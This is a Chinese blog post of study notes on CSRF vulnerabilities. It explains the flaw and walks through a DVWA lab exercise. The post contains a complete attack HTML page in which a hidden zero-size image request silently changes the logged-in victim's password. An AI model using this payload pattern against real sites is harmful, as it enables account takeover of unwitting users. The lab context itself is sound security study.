CSRF漏洞學(xué)習(xí)

CSRF漏洞原理

web應(yīng)用程序在用戶進(jìn)行敏感操作時(shí),如修改賬號(hào)密碼,添加賬號(hào),轉(zhuǎn)賬等,沒(méi)有校驗(yàn)表單token或者h(yuǎn)ttp請(qǐng)求頭中的referer值,從而導(dǎo)致惡意攻擊者利用被攻擊者的身份完成對(duì)應(yīng)的而已請(qǐng)求.

CSRF練習(xí)

  1. 打開(kāi)dvwa測(cè)試系統(tǒng),登錄.
  2. 打開(kāi)抓包工具,進(jìn)入CSRF練習(xí)頁(yè)面,修改密碼,提交
  3. 修改抓取的報(bào)文,刪除referer字段,重新提交.
  4. 修改密碼成功,說(shuō)明存在CSRF漏洞.
  5. 構(gòu)造攻擊頁(yè)面,代碼:
<!DOCTYPE HTML PUBLIC "-//w3c/DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWAP CRSFTester Demonstration</title>
</head>

<body>
 <h2>OWASP CRSFTester Demonstration</h2>
 <img src="http://xx.xxx.xx.x:8080/dvwa/vulnerabilities/csrf/?password_new=123123&password_conf=123123&Change=%B8%FC%B8%C4" width="0" height="0" border="0"/>
</body>
</html>

  1. 點(diǎn)擊攻擊頁(yè)面.html文件. 因?yàn)橛脩籼幱诘卿沝vwa系統(tǒng)的狀態(tài),通過(guò)抓包可以看到此時(shí)會(huì)自動(dòng)填充Cookie等信息,自動(dòng)修改用戶密碼成功.


    image.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成，瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明：文章內(nèi)容（如有圖片或視頻亦包括在內(nèi)）由作者上傳并發(fā)布，文章內(nèi)容僅代表作者本人觀點(diǎn)，簡(jiǎn)書系信息發(fā)布平臺(tái)，僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容